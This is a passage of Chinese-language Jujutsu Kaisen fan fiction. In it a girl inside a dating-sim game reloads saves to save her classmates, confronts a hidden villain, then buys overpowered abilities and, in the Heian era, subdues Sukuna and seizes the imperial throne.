五条悟正要躲开,夏油杰一把按住了他的手臂,他笑眯眯地说道:“不是你说学妹想要这个的吗,悟。” 说着“学妹太喜欢你了每天都盯着你看呢”“哇她连你晚上出任务都知道一定爱得不行了吧”,五条悟成功误导了夏油杰。 现在好了,他在学妹的眼里肯定也是个变态了。 还是个自恋的大变态。 两人联手把五条悟锤了一通,终于心情舒畅。夏油杰不动声色地把纸收回来,塞进了怀里。 “那么学妹想要什么谢礼呢?”他问道,“如果是我能做到的,一定义不容辞。” “真的吗?”今野桃的眼睛一亮。 夏油杰含笑点头:“真的。” “那请学长把你的工资给我吧!”今野桃期待地望着他,“我真的很需要那个东西!” 夏油杰哽住。 “工资……?” “对啊对啊!”今野桃双手交握,眼睛里仿佛有星星,“我们的目标是攒够钱就退休!” “还要买大房子!”灰原雄补充道,“在海边!” 七海建人抹了把脸,无力地说道:“那明明是我的目标啊……” “有什么关系,大不了到时候我们把房子买在一起吧,免得娜娜明寂寞。” “咦,可以吗?那我还想养一条狗……” “不要随随便便就安排别人的未来啊!你们给我适可而止吧……!” 三人又打打闹闹起来,夏油杰失笑,对他们说道:“我今天没把存折带出来,等周一吧。” “不用,夏油学长,小桃是开玩笑的。”七海建人努力维持着学弟和学妹的形象。 夏油杰看着他,忽地微笑起来:“七海说的可不算。” 他起身,拍了拍学弟的肩膀,压低了声音说道:“小心会被讨厌哦。” 七海建人抿了抿嘴,没吭声。 . 一个杯子落在地上,碎成了几瓣。 昏暗的房间里,隔着重重屏风,一声轻叹飘了出来。 “真是可惜。” 明明就差一点了,竟然会被一个外人搅局。 “大人,接下来该如何是好?”跪在地上的男人战战兢兢地问道,“要继续吗?” 屏风后很久没有回应,直到男人双腿都开始发抖,大颗大颗的汗珠落下,在地板上汇成了一洼。 “也罢,人总是要经历几次挫折才能体会到世间险恶。” 布料摩擦的声音窸窸窣窣地响起,男人匍匐在地上,不敢抬头。 “此时的快乐,不正显得将要到来的痛苦更加深刻了吗。”明明说着恶毒的话,语气却仿佛在为他人着想,“吃的苦越多,那一点点糖才越发甜蜜。” “继续吧,一个无关紧要的人而已。” . 今野桃知道灰原雄会出事,自然也会特别注意。在升上二年级后,他们三人的任务虽然多了一些,但等级摆在那里,都不会特别困难。 想要避开这个节点并不困难,拥有了读档功能后,这种都不算什么。 当看见那个祓除二级咒灵的时候,今野桃就打了电话给夏油杰,拜托他来接应一下。 “不知道为什么,总有一种不好的预感。”她这么说道。 夏油杰二话不说应了。 于是在二级咒灵爆改一级产土神的时候,二年级的三人成功死里逃生,并恭喜夏油学长又添一个新的式神。 “这个咒灵……距离特级也不远了。”夏油杰高兴得同时又有点后怕,“可不是你们能解决的。” “嘿嘿,那就要多谢小桃啦!”灰原雄不以为意地说道,“我们的运气可真好!” 七海建人瞪了他一眼,小声嘀咕:“运气……运气这种东西,谁能保证一直有呢。” “安啦安啦,这次危机结束,我们一定都能平平安安的啦!”今野桃拉着七海建人的手臂,安慰道,“不要那么严肃嘛,娜娜明,笑一个!” “是啊是啊,娜娜明笑一个!” “讨厌!不要噘我的嘴!” 安全……从走上咒术师的这条路开始,谁能保证可以在每次危险中都活下来呢? 一周后,他们遇到了一个新的咒灵。一个诞生自人类对黑暗的恐惧的咒灵。 它最大的特点,就是可以在黑暗中游走,能出现在任何看不到光的地方。 它的速度太快了,以至于今野桃很难捕捉到它的踪迹,被它偷袭死了两次。 不过没关系,玩家可以读档。 今野桃养成了每次出任务前都要存个档的好习惯。 死了六次后,他们终于将咒灵击杀,拖着残血的状态回到了高专。 “硝子……学姐……救救救……” 他们在医务室躺了两天,才勉强可以下来走动。 “总感觉有点不对劲。”七海建人喃喃道,“连着碰到两次等级判断失误的情况了,是在针对我们吗?” “不会吧,五条学长不是才去大闹了一场吗,”灰原雄不太确定地说道,“这么快就好了伤疤忘了疼?” 七海建人没说话,半天才开口道:“兴许是我太敏感了吧。” 他的目光落在还躺着休息的女生身上,眉头微微皱起。 在这两次战斗中,表现最出色的都是她,最辛苦的也是她,让他的心里有些不太好受。 “谢谢你,小桃,之前如果不是你,我恐怕就要被那个咒灵给吃掉了。” 幸好今野桃反应快,及时预判了咒灵的轨迹,才让他没有被黑暗吞没。 被那只咒灵拉到黑暗中,恐怕很难活着出来。 “啊,没事。”今野桃龇牙咧嘴地笑道,“我们可是好朋友啊!” 好朋友吗? 七海建人几不可闻地应了一声。 “放心好了,在我死掉之前,绝不会让你们死掉的!”今野桃信誓旦旦地说道。 七海建人低下了头,金色的刘海垂下,挡住了他的表情。 “别这样说啊。”他用指尖揉了揉眼睛,“我们会一起活下去的。” 24、第二十四章 俗话说得好,当局者迷旁观者清,有时候身在局中,很难察觉到不对劲。 到了二年级的第三个学期,任务越来越多,也越来越难。今野桃对此去询问过老师,得到的回复是: “你们不是打算升级吗?想升到二级还是比较困难的,以你们现在的实力,需要更多的锻炼。”老师给的理由很充足,“当然,如果你们不需要的话,我也可以下调你们的任务等级和数量。” “啊……不用了,谢谢老师。” 今野桃尴尬地回来。 “小桃是觉得累了吗?要不然你休息几天,你的任务让我和娜娜明去做好了。”灰原雄关心地说道。 “不用,我不累。”今野桃摇摇头拒绝。 她不敢休息啊!最近的两个任务,如果不是她在队伍里,七海建人和灰原雄肯定要出意外。她可是读了四次档才把那个咒灵给干掉。 七海建人和灰原雄对视一眼,有了决定。 下一次任务,他们两人提前和老师请求,没有通知今野桃。今野桃虽然没去,但钱还是照样分给她。 也就是这一次,他们出事了。 灰原雄身死,七海建人留了一口气。 白色的布盖在少年的身上,遮住了他残缺的身体。血迹已经干涸,凝固成了一块一块。 七海建人捂着脸,有泪水从指缝中滴落。 灰原雄是为了救他才死的。 夏油杰站在边上,张了张嘴,却又不知道该说什么。 今野桃的面色平静得可怕,她好像有点疑惑,又好像明白了什么。 “我不相信命运。”她喃喃道,“我不相信命运只会通向一条道路。” 如果真的是这样,那游戏的意义何在?感受策划的险恶用心吗? 读档,返回上一个任务前。 虽然七海建人和灰原雄没有叫她一起做任务,但她还是偷偷跟了上去。 又是一个看似简单其实复杂的咒灵,一个拥有着分身术的咒灵。在灰原雄和七海建人杀死了一个分身后,他们都以为咒灵死亡,但今野桃清楚地看见地图上还存在着敌对目标。 果然,灰原雄被偷袭了。突然出现在他身后的咒灵一口咬掉了他的半边身体,连带着右手臂。他只来得及让七海建人快跑,就和咒灵缠斗在了一起。 灰原雄活不了了,只能在回光返照的时刻多撑一会,好为同伴争取一条活路。 七海建人握着短刀,狠狠劈砍着咒灵的身体,却无济于事。 “跑……!”灰原雄还在挣扎,“娜娜明!快跑!把消息传回去!” 不能让这个咒灵杀死更多人了! 七海建人沐浴着同伴的鲜血,转身跌跌撞撞地跑了。 很快,地图上属于灰原雄的标记消失了。七海建人似有所感,却不敢回头。 今野桃收起地图,再次读档。 如今她的属性和刚入学那会儿又不一样了。 咒力7、体质6、力量7、魅力4、敏捷6、智力6是她登录游戏时的数据,两年过去后,它已经变成了咒力17、体质16、力量18、魅力11、敏捷16、智力14。 虽然还不算高,但杀二级咒灵是足够的。在同伴的援助下,也能和一级咒灵碰一碰。 不过是一只会分身的咒灵罢了,简简单单。 今野桃没有急着入场,她决定要选在最危急的关头闪亮登场,既能狠狠刷一波好感值,也能让两个男生知道咒灵的可怕。 决不能再把她抛下偷偷去做任务了! 眼看着七海建人将咒灵斩杀于刀下,两人都要松了一口气的时候,一个人影从天而降,一脚踢飞了突然出现在灰原雄身后的咒灵。 “小桃!”灰原雄惊喜地喊道。 “啊啊,真是的,一不留神你们就要出事。”今野桃抱着手臂嚷道,“这就是不带辅助的下场!” 七海建人和灰原雄心虚地看了对方一眼,两人俱是灰头土脸。 今野桃向两人招了招手,说道:“走啦,我们把幸存者带出去。” 地图上的敌对目标已经全部清理干净,任务顺利完成。 被关在房间里瑟瑟发抖的普通人终于听见打斗声结束,屋门被拉开,一线天光照射进来。 “已经安全了,快走吧。” 幸存者们鱼贯而出,一个男人跌跌撞撞地跟在最后,路过今野桃时感激地想要握住她的手。 “谢谢你,真的太谢谢你们了……” “哎呀,小事,小事而已。” 这个时候不装一下什么时候装,今野桃得意地摆摆手:“你们都能活下来就足够了。” “是,都托您的福……” 话音未落,一把隐藏在袖子里的匕首以极快的速度刺向今野桃的面门,几乎是瞬间就捅穿了她的心脏。 他用力一搅,匕首拔出来的时候带出了一串血花,飞溅在男人阴沉的脸上。 不可能! 今野桃用最后一口气打开地图,赫然看见一群友方标记里混入了一个敌对目标。 明明刚刚还…… “小桃!!” 破音的喊叫在耳边响起,今野桃能感觉到两个男生朝她奔来。男人狰狞地一扯嘴角,匕首再度举起:“去死吧!” 是……附身吗? 今野桃赶在咽气之前连忙读取了存档。 咒灵消散,她抢了七海建人的短刀,一脚踹开普通人躲藏着的屋门,激起一片惊叫。 “小桃,怎么了?”七海建人担忧地问道。 今野桃的目光扫过在场的所有人,沉声说道:“那个咒灵,还没有彻底死去。它就藏在这些人之中。” 七海建人和灰原雄对她的话没有一点怀疑,当即变得警惕,目光如炬,紧紧盯着这些人。 “能看到是谁吗?”七海建人轻声问道。 今野桃看向瑟瑟发抖的男人,冲上去二话不说先把他刀了。 哀嚎声响起,夹杂着“杀人了!”“杀人了!”的恐惧尖叫。血液飞快地蔓延,男人倒在了血泊中,双目圆睁。 不是他? 今野桃转头看向其他人。 没有人敢和她对上眼神,他们像是受惊的老鼠,满地乱爬。 “小桃,我们这样是找不到敌人的。”七海建人拉住了她,“先冷静一下。” “嗯。”今野桃深吸了一口气,缓缓吐出,“不着急。” 一个女人哭着扑到了死去男人的身上,声音哀切:“亲爱的,亲爱的你醒一醒啊!你杀了我老公!是你杀了我老公!” 她指着今野桃,声泪俱下地痛诉。 今野桃苦恼地揉了揉额角:“真麻烦。” 七海建人和灰原雄也跟着叹气:“是啊,有些麻烦了。” 他们并没有如女人想的那样斥责同伴,甚至没有流露出多少对死者的同情。 “你们……你们这些杀人犯!”幸存者们开始对三人破口大骂。 就在今野桃不经意的一个目光流转间,她看见一个身高不过一米出头的小孩正悄悄往七海建人那边摸去。 出现了,敌对目标! 短刀脱手而出,在小孩碰到七海建人前将他击飞。用力之大,小孩差点就被砍成两截。尸体撞在了墙壁上,咕咚一声落下。今野桃看见小孩的嘴角诡异地扬起,似在嘲笑她。 “啊啊啊啊!”尖叫声不绝于耳,一瞬间,地图上除了他们三人外,所有人都变成了敌对。 “你还我小孩命来!” 另一个女人扑向今野桃,今野桃转身避开,没有动手。 “小桃,我们先撤退吧!”灰原雄招架不住,“或者等辅助监督过来!” “兴许夏油学长能解决掉这个咒灵。”七海建人拦着失去理智的普通人,带着今野桃后退。 一片混乱中,咒灵出现了。 它大开杀戒,而咒术师们又要保护普通人,又要抵挡进攻,几下就被掀翻在地。 今野桃不得不读档回去。踩在台阶上,她皱着眉望向咒灵的位置。 开始变得棘手了。在没有氪金前,她只有一个存档位,如今要读档的话,就只能在这个任务开始前。或许最好的办法就是在外面通知辅助监督或者夏油这样能处理这只咒灵的咒术师来,然后她在里面拖住那只咒灵。 但事情真的能如她所愿地发展吗? 像是知道了她的打算,咒灵没有留着幸存者,而是在今野桃出现后,一口气将他们全都吃了。 吃完了幸存者,咒灵得到了大幅度的增强,它调转头开始攻击三个人。无数的分身朝三人涌来,变强后的咒灵不再是他们能抵挡得了的。 “快跑!”七海建人用力一推今野桃,“我和灰原挡着,你快跑!” 如今恐怕也只有她能跑掉了,她能通过地图避开咒灵的追击。 但地图上,今野桃看见七海建人和灰原雄的状态开始越来越糟糕。 “不行!”今野桃抬头,坚定地说道,“说好了,在我死之前,绝不会让你死掉的!” 七海建人望着她,琥珀色的瞳孔中倒映出她的奋不顾身的模样。他张了张嘴,又闭上。 过去没有说出口的心意,如今也不必说了,不过是徒增悲伤。 “坚持住,娜娜明,再坚持一会儿就会有人来救我们的!”两行眼泪从今野桃的眼眶中落下。 在最危难的时刻,她仿佛领悟到了什么,飞快地点开地图,将自己和七海建人的位置互换。 咒灵的牙齿咬住了她的肩膀,立时撕下了一块肉来。 “娜娜明,我和它周旋,你跟灰原先走!”今野桃想要将咒灵引走。 铛—— 金属碰撞的声音令人头皮发麻,如今七海建人的攻击甚至无法攻破咒灵的防御。 “这样的咒灵……怎么可能是二级啊……” 甚至超过了一级吧? 所以,就算想要逃走也是不可能的。 真没想到,原来他的人生竟然只有这样短暂的一程。 可是……后悔吗? 应该是后悔的吧。但似乎又有点高兴。 每个人最终都会走向死亡,至少他的死是有意义的。 七海建人握住了今野桃的左手臂,灰原雄握住了她的右手臂。 “你们、你们干什么啊!” 他们没有回答她。 “不要回头。”七海建人这么说道,“一直往外跑。” 他们两人用力把今野桃往外扔去,她下意识地挥动双手,咒力环绕下,咕噜咕噜地从山上滚进了林子,不见了身影。 屏蔽了痛觉的今野桃低头,看见指缝里几根金色的短发。 【七海建人好感值:85】 【七海建人-萤火虫(be) ——用我微不足道的生命所绽放出来的萤火,是否能为你照亮一条生路。】 生路……这是七海建人和灰原雄用自己的生命为她铺出来的生路啊。 虽然感觉不到痛,但多处骨折的今野桃只能趴在地上。土腥味充斥着她的鼻腔,她的指尖微微颤抖。 好累。 除非成为最强,否则总会遇到无法匹敌的咒灵,像是诅咒一样。 死亡、死亡、死亡。 从这个游戏开始,她就一直在面临着死亡。 主动的、被动的、惨烈的、无所谓的……到底要怎样才能在这个稀巴烂的世界里活下来啊! 今野桃心灰意冷地想。 七海建人已经是她这几个周目见过最正常的攻略对象了,如果连他都无法获得幸福,这个游戏当真有he结局吗? 放弃?还是……继续换下去…… 一只鞋子踩在了今野桃的手指上面,用力地来回碾了碾。 她艰难地抬头,入目的是一个陌生男人的脸。他穿着不染分毫尘埃的精致和服,仿佛参加宴会归来,风度翩翩,衣冠楚楚。他长得还不错,垂下来的刘海后隐约能看见一道伤疤。 他对她优雅地笑:“想杀你可真难啊。” 今野桃:“???” 不是,你谁啊? 25-30 第25章 今野桃第一反应是去看人物面板。 【??好感值:-50】 【属性值未解锁。】 她顿时瞪大了眼睛。 这还是她第一次遇到负好感的人物,当初她一顿骚操作后,两面宿傩的好感还稳定在0呢。这家伙上来就是个负五十,直接就把她震惊了。 她是挖了他家祖坟,还是杀了他全家?这不对吧?! “不过是区区一个小卒,竟然也耗费了我这么多精力,当真是让我惊讶啊。”他叹道,好像所有错误都在今野桃身上。 “你……是谁?”今野桃艰难地吐出几个字。 男人轻轻摇了摇扇子,一派光风霁月的模样。 “我啊,”他将她的手碾进了土里,轻描淡写地说道,“这不是你该知道的事情。” 如果不是她接连几次坏了他的好事,总是莫名其妙地死里逃生,让他心中郁结,他是不会贸然出现在她的面前的。 活了千年之久,他已经习惯了谨慎行事。 但落在鞋子里的小石子,不将它清除掉实在难受。 “你还有什么本事能逃脱吗?”男人噙着笑意,好奇地问道,“再不施展可就没机会了哦。” 今野桃细细打量着男人,本想读档的手忽然停住。 她确信这是她第一次见到这个角色,而且她在可攻略角色上没有见过他。看样子,似乎又不是路人甲角色。 那么,就只有一个可能了。 “我们的任务难度增加……是你做的吗?”今野桃作出痛苦的模样,声音颤抖地问道。 男人挑眉:“猜对了。” 福至心灵地,今野桃又问:“夏油学长的任务……也是你做的?” 啊哦,被猜到了。男人感慨道:“你还挺聪明。” 今野桃沉默几秒,舔了舔干裂的嘴唇,沙哑着嗓子开口:“星浆体的死亡……是不是也是你做的。” 她没有再用疑问句,而是几乎笃定地说着。 真会联想啊。男人摸了摸下巴,心中思忖决不能留她一命了。 虽然本来也没想让她活着。她当真像是蟑螂一样,怎么都打不死,烦人。 男人神色变淡。 不必多说,一切尽在不言中。 今野桃这回是真的开始颤抖了。 被气的。 本以为是不可抗力因素,是世事弄人,是人心易变,谁知道背后竟然还藏着一个boss啊! 好好一个恋爱游戏,竟然还有幕后boss!这幕后boss还藏了足足五个攻略周目!如果不是他自己跳出来,她真不知道他的存在!! 别的游戏好歹会在背景里提一嘴,或者暗示一下要对抗的目标,而这个游戏瞒得可真死啊! 她深深地怀疑,迄今为止,除了她,所有人都不知道这个男人的存在!这个躲在幕后搅动风雨的存在! 等等,如果他当真是整个游戏的幕后黑手,那岂不是…… “你不会……一千年前就出现了吧?”今野桃喃喃,“你认识两面宿傩吗?” 男人笑意一收。 他好像什么都没说吧?怎么感觉自己的底细要被猜出来了? 不对劲,这个女人不对劲。 “我可没有为你答疑的义务。”他冷冷说道,“我是来送你上路的。” 血液凝成丝线,飞快地缠绕上了今野桃的身体。在她惊诧又难以置信的目光中,绞断了她的脖子。 他还是加茂家的啊?! 看着漆黑一片的登录界面,今野桃陷入了深深的茫然中。 她想起了伏黑甚尔决然离去的背影,假如是这个男人发布的任务,那甚尔的死亡又是其中的哪一环? 她想起了夏油杰在深夜辗转于任务中的身影,他的疲惫、痛苦、忧郁,是否也是人为造成的呢? 还有灰原雄的死亡,让夏油杰彻底背弃理想的那个任务,都是这个男人特意放上去摧毁夏油杰的稻草吗? 漆黑的屏幕好像变成了一块棋盘,每个人都是上面的棋子。 那些种种看上去是意外的事故,其实都是旁人精心设计的陷阱。 想到这个真相,今野桃的背后都会油然生出一股冷汗。 有敌人不可怕,可怕的是不知道敌人的存在。 而且,他活了上千年,一定布局深远,绝非普通咒术师可以抗衡。当然,他也不是没有弱点。 俗话说得好,一切阴谋诡计都是源于火力不足。如果当真天下无敌,早就一路平推了,何须遮遮掩掩。 所以,她至少能确定,这个男人打不过五条悟。兴许连夏油杰也打不过。可能……他的实力低于特级咒术师。 他的咒术应当是辅助。 能活千年,是吞噬能量换取寿命吗?还是带着记忆轮回转世,代价是属性平平?或者是附身?舍弃自己的肉身,将灵魂附着在他人身体上? 总之,他自身的武力值不高。只要将一切告知五条悟,事情就会迎刃而解,一切悲剧都能改写…… 放屁! 今野桃重重地朝空气挥出了一拳,像是把棋盘给砸碎,随即退出了游戏。 她打开手机,开始给委托人写报告。 她要把那个本打算最后才写上去的刷钱bug提交上去,索要一笔可观的钱财。 然后,她要用这笔钱…… 狠狠氪金! 是,她是说过不会给这个游戏氪金。但她都打算弃游了,最后想爽一把也是人之常情吧! 再说了,羊毛出在羊身上,她这不叫给游戏花钱,顶多是工资回流罢了!(捂住耳朵) 有泪水滴落在手机屏幕上,又被今野桃狠狠擦去。 现实中的她逃避也就算了,游戏里也要一直逃下去吗?一味地依靠他人,最后只会成为根本不能独立活下去的家雀。 她不想负气离开。 好像输了一样。 她不会输,从今以后,她绝不会输…… 【感谢玩家的积极反馈,游戏bug已修复。】 【您的银行卡收到转账1000000円。】 【正在充值……余额100000円。】 【已实名认证,游戏内容全开放,祝玩家游戏愉快。】 【购买速度过快,请稍后……】 【玩家获得属性点:999】 【玩家获得天赋:六眼】 【玩家获得技能:无下限】 【玩家获得技能:领域展开无量空处】 【玩家获得道具:属性药水x50】 …… 今野桃第一次知道,这个游戏的属性值上限不是30,而是50。 原来玩家初始属性值最高为10,满级和NPC一样最多为30,但嗑了道具后,顶格为50。 所以,想要感受世间最强的力量,只需拉满属性值再加4瓶限时一小时增加5点全属性值的属性药水。 不愧是你啊,逼氪的策划! 可供存档的存档位都增加到了99个!甚至还能任意选择进入游戏的时间线!不管是攻略对象的幼年版还是成年体,都可以任君挑选! 哈哈哈,和现在相比,以前的她到底在玩什么啊! 今野桃目光深沉地看着排在第一位的那个可攻略角色,两面宿傩笑得桀骜不驯,红色的眼眸里带着戏谑。 玩家可以选择在两面宿傩年幼的时候进入游戏,想来攻略的难度一定会大幅度下降吧。 很多小说里面不是都这样写吗?在反派年幼的时候,用爱去包容他、感化他,让他体会到人性的真善美,从此走上正道…… 今野桃低低地笑了起来。 然后她进入了游戏…… 平安京的贵族们最喜爱在晴朗的日子里举办各种宴会,他们欣赏着春日的樱花、夏日的荷塘、秋日的硕果和冬日的雪景,每到这个时候,四处都是欢声笑语。 然而在这个阳光炽热的时节,平安京里的氛围却不太一样了。 即便身处内宅,也能感受到那股风声鹤唳,每个人都噤若寒蝉。 眼睛上蒙着一块黑布的女人坐在桌前,漫不经心地拨弄着花瓶里的花蕊,开口道:“打听清楚了?” 侍女俯身回答:“是的,姬君,据说藤原北家直属的精英征伐队[日月星进队]和[五虚将]全军覆没,连带着征夷大将军和右近卫大将也死了。平安京里的咒术师们十个死了有六七个,还都是好手。” 为了讨伐一个两面宿傩,平安京可谓是元气大伤。 “现如今……”侍女压低了声音说道,“有大人提议,要将两面宿傩迎进平安京,作为新尝祭神。” 两面宿傩……神? 女人没忍住笑出了声。 “我们的天皇大人,也会同意?” “天皇大人和诸位大人们尚在商议,目前还未得出结论。” 显然天皇拉不下那个脸面,却又畏惧恶名远扬的两面宿傩。 将两面宿傩迎入平安京算是最后的手段了,当权者们不可能放任两面宿傩在外招摇,但又祓除不掉他。平安京内有历代顶级咒术师和阴阳师们设下的结界,两面宿傩想要在平安京内如过去那般肆无忌惮是不可能的。 封个祭神的名号,勉强有一层遮羞布吧。 现在还有一个最要紧的问题,那就是——谁去招安两面宿傩呢?杀性正浓的两面宿傩会不会一时上头把派去的使者也杀了,实在让人难以得出答案。 女人施施然起身,拢了拢身上华美的衣衫,对侍女说道:“去求见我们的天皇大人吧,告诉他,他心爱的女儿愿意前去拜访两面宿傩,为父亲大人解忧。” 侍女惶恐地跪下,真心实意地劝道:“姬君,那可是吃人的恶鬼!” “没关系。”女人轻轻抚摸着脸上的黑布,嘴角上扬,“我比他更凶狠就足够了。” 姬君怎么会比恶鬼更加凶狠呢?侍女不理解,但无法违背主人的心意,还是将消息传给了天皇。 天皇大喜,召见了这个平日里根本想不起来的女儿。 这个从出生起就瞎了眼的女儿,除了长得好看,没有给他留下任何印象。 但此时,美丽的外貌拥有了更多的价值。 天皇打量着这个女儿,满意地点了点头。虽然眼睛瞎了,但这张脸配给两面宿傩,他也不亏嘛。 “我的……女儿啊。”他憋了半天,都没想起自己女儿叫什么名字。 女人恭顺地行礼,说道:“能为父亲大人分忧,是小桃的福气。” 哦对,是桃姬啊。 天皇恍然大悟:“好女儿,我会派遣一队咒术师与你同去,护你周全。” “多谢父亲大人。”今野桃盈盈再拜。 几十人就这样出了平安京,带着“赏赐”给两面宿傩的礼物。 他们虽然略有遮掩,但消息很快就传到了两面宿傩那里。他猖狂大笑,对身边的白发少年说道:“公主吗?我还没尝过此等贵族的肉呢。” 也不知道味道是不是跟普通女人不同。 阴鹜的光从他的眼睛里闪过,被追杀了这么久,两面宿傩也疲倦了。继续下去,说不定当真会有马失前蹄的时候。 所以,差不多见好就收吧。 拿了“供品”,就给那些人几分面子。 两面宿傩在落脚处好整以暇地等待着。这是他霸占的一处宅院,不识抬举的主人已经被他清扫出去。 直到残阳如血,他才看见远处有人影在慢慢靠近。在众人的拱卫下,一顶小轿晃悠悠而来。 两面宿傩的手指点了点,想想还是没有习惯性地释放出斩击。 随着双方的距离越来越短,咒术师们明显紧张起来了。但死去的前辈们在提示他们,不能轻举妄动。 轿子停下了。不等侍奉的婢女上前,一只莹白如玉的手掀开了门帘。 两面宿傩掀了掀眼皮,轻蔑地开口道:“原来是个瞎子。” 没有人敢说话,眼上蒙着布的女人明明应该看不见,却精准地朝向了两面宿傩的位置。 “你就是两面宿傩吧。”她笑道,“百闻不如一见。” “你胆子还挺大。”也是,她毕竟看不到他的四手四眼,自然也不会觉得害怕。 没有恐惧作为佐料,感觉没滋没味的。 两面宿傩心想,该怎样折磨她呢?打断她的四肢?剜下她的血肉? “姬君,快去吧。”旁边有人小声催促。 快去讨好两面宿傩,这正是您的职责呀! 女人的脖子微微转动,好像有一道看不见的目光扫过在场众人。 很好,人齐了。 今野桃抬起了手,指尖勾开布条,众目睽睽之下,一双莹蓝色的眼珠含着笑意出现。 两面宿傩的心猛地一跳。 丰富的战斗经验在提醒他要小心,而对女人的轻视却叫他好奇她要做什么。 不 过是一个寻常的公主,除了漂亮从未有过任何特殊之处,怎么可能会对他造成伤害。 这也是今野桃没有在平安京就大开杀戒的原因。 两面宿傩是个能屈能伸的家伙,如果知道她这么强,肯定会逃走的。 “早就想这么做了。”今野桃对他竖起了中指。 两面宿傩脸色阴沉,被挑衅到了:“你这家伙,真是不知死活……” 今野桃笑意更深,又竖起了食指。 两根手指交叉,她悠悠说道:“领域展开无量空处。” 巨大的黑洞漂浮在半空,两面宿傩眼前一黑,失去了意识。 今野桃挠了挠脸颊,不好意思地吐了吐舌头。 “哎呀,不小心开了两秒钟的领域,把你们都变成傻子了,真是斯米马赛呢。”。 50点的咒力属性太过逆天,今野桃读了几次档才终于确定,开启领域0.4秒能硬控两面宿傩五分钟又不会对他造成太严重的伤害。 她真是太善良了,都没想直接废掉两面宿傩呢。毕竟后面还有用得上他的地方。 但两面宿傩能抗住,不代表其他咒术师也能抗住。踩着他们昏迷不醒的身体上,今野桃对两面宿傩眨了眨眼睛:“还打吗?” 两面宿傩沉默不语。 两面宿傩欲言又止。 不是,怎么有人比他还阴啊! 他不理解并大为震惊:“以你的实力,不至于如此寂寂无名。” 如果他在全盛时期,开着领域或许还能跟她碰一碰。但如今本就是残血,恐怕很难打得过她。 今野桃赞同地回道:“确实,我本来只想混吃等死,奈何长得太漂亮,受人嫉妒。” 两面宿傩运转起反转术式,将昏昏沉沉的大脑修好,敏锐地开口道:“你来找我,目的是什么呢?” 她本可以不来的。 “我要与你立下束缚,我承诺不杀你,不对你使用领域。相应的,你要服从我的命令,怎么样?” 不怎么样。 两面宿傩不想答应。他现在觉得自己不过是被偷袭了,真要打起来,他未必会输。 今野桃读懂了他的心思,她想了想,说道:“这样,要不然我们双方都不开领域,再来打一场。我赢了,你就听我的。” 两面宿傩的眼神从她纤细的身体上逡巡而过,随后他点头:“行。” 他不信这个女人能有多大力气,能比得过他身经百战。 今野桃甩开碍事的广袖宽袍,温温和和地说道:“那我要赐教了。” 她会让两面宿傩见识一下,什么叫做数值怪…… 呕出一口鲜血,被称为“诅咒之王”的怪物轰然倒地,其中三条手臂都以一种不自然的状态扭曲着,看起来古怪又可怜。 他已经没有余力再使用反转术式了,如疾风骤雨的战斗榨干了他的最后一丝咒力,每一寸皮肉都在发出痛苦的哀嚎。 而女人不知道从哪里掏出了一块镜子,正在检查自己的妆发。 “哇,刚刚好险就被你打到了。”她嘀咕道,“幸好我反应快,开了‘无下限’。” 虽然数值碾压,但她毕竟战斗经验不足,对技能也比较生疏,没能发挥出满值的实力。好在可以不断读档,勉强拿了个无伤。 她这张如花似玉的脸蛋可不能破相,照镜子的时候心情都会好很多。 “还活着吧?”今野桃用脚尖踢了踢两面宿傩。 他没回答。 “别装死哦,不然我就让你真死了。”她威胁道。 “你本就没打算真的杀了我。”两面宿傩闷闷地说道,“不如你把你想要我做的事情说出来,我替你做了,我保证从此离平安京远远的。” “那不行。”今野桃一口拒绝,“我要带你回平安京。我需要一把刀,替我扫清一切障碍。” 一把刀? “你说得不错,我确实不打算杀你,事实上,我还要谢谢你。”今野桃弯了弯眼睛说道,“谢谢你把平安京的武装力量给削了大半,这实在是一个再好不过的时机了。” 两面宿傩心中微微一动。 “你跟不跟我走,不跟我走,我还得继续打你。”今野桃揉了揉手腕,抱怨道,“很累的。” “……”两面宿傩头一回有被哽住的感觉,他自嘲道,“我还有得选吗。” “应当是没有了。” 他们立下了一个个束缚,今野桃从商城里买了颗回血道具塞进了两面宿傩的嘴里,一口把他的血量抬了一半。 “你竟然还有这种东西……”两面宿傩慢慢爬了起来,“这些人怎么处理?要杀了吗?” 在他们打架的时候,昏迷的咒术师们都已经醒了,非常懂事地缩在一起不敢说话。 “要杀的话我刚刚不就杀了。”今野桃斜晲过去,“你们是打算臣服,还是去死呢?” 咒术师们滑跪的速度比两面宿傩快多了。 “愿听从姬君命令。”。 一队人悄无声息地进了城,今野桃先后拜访了平氏和橘氏两个家族,随后才入宫。 接到“两面宿傩对姬君一见钟情”的消息的天皇还在美滋滋地幻想着,却发现桃姬一直没有前来拜见他。 哼,是以为自己翅膀变硬了吗?不过是一个两面宿傩而已。女人总有一些不切实际的幻想,以为掌控住了男人就能拥有世界,殊不知,人心是最易改变的东西。 天皇决定给这个不知天高地厚的女儿一点颜色瞧瞧。 内侍通传,说桃姬带着两面宿傩来了。天皇矜持地端坐着,只是抬手让他们进来。 “哎呀,父亲大人,久等了。”今野桃笑吟吟地走进了,身姿挺拔。两面宿傩跟在她身后,一脸百无聊赖。 天皇直了直身体,抬起下巴开口:“桃姬,既然你……” 今野桃懒得听他长篇大论,直接一个skip打断。 “对了,跟父亲大人说个事。”她大大咧咧地说道,“我要做天皇。” 天皇:“……你说什么?!” “没听清楚吗?那我再说一遍好了。我要做天皇,麻烦你禅位给我。”今野桃很有礼貌地说道,“不禅位的话,我就要武力夺取了。” 天皇气得浑身颤抖,却不得不用恐惧的眼神看向两面宿傩。 这就是她的底气吗?无知!狂妄! 两面宿傩扯出一个嚣张的笑,心里无比舒爽。 没错,就是这种眼神,这种害怕又无能为力的眼神…… “咳咳,”今野桃清了清嗓子,说出口的每个字都沾染着血腥气,“不禅位也没关系,父亲大人,反正我已经把排在我前面有继承资格的人都杀掉了咯。” 所以,唯一能继承皇位的,就只有她了。 天皇闻言,震惊地向后倒去,跌在地上:“你、你……” 要知道,桃姬前面可是有着六个哥哥三个姐姐啊! 两面宿傩语气可惜地说道:“你该让我尝尝皇子和公主的味道的。” 今野桃对他翻了个白眼:“吃点好的吧你,没品味的家伙。” 没吃过好东西,才会天天惦记那口人肉。 两面宿傩耸了耸肩膀,不说话了。 天皇狼狈地爬起来,颤颤巍巍地说道:“桃姬,你根本不懂朝堂之事,如何能继承天皇之位!” “我不懂没关系,有人懂就行了啊。”今野桃满不在乎地说道,“藤原氏如今势弱,被他们一直打压的橘氏就等着出头的机会呢。还有平氏,我不过随便许诺了一点好处,他们就迫不及待地纳头便拜。” 他们不在乎天皇位置的变动,只在乎能从中攫取多少利益。 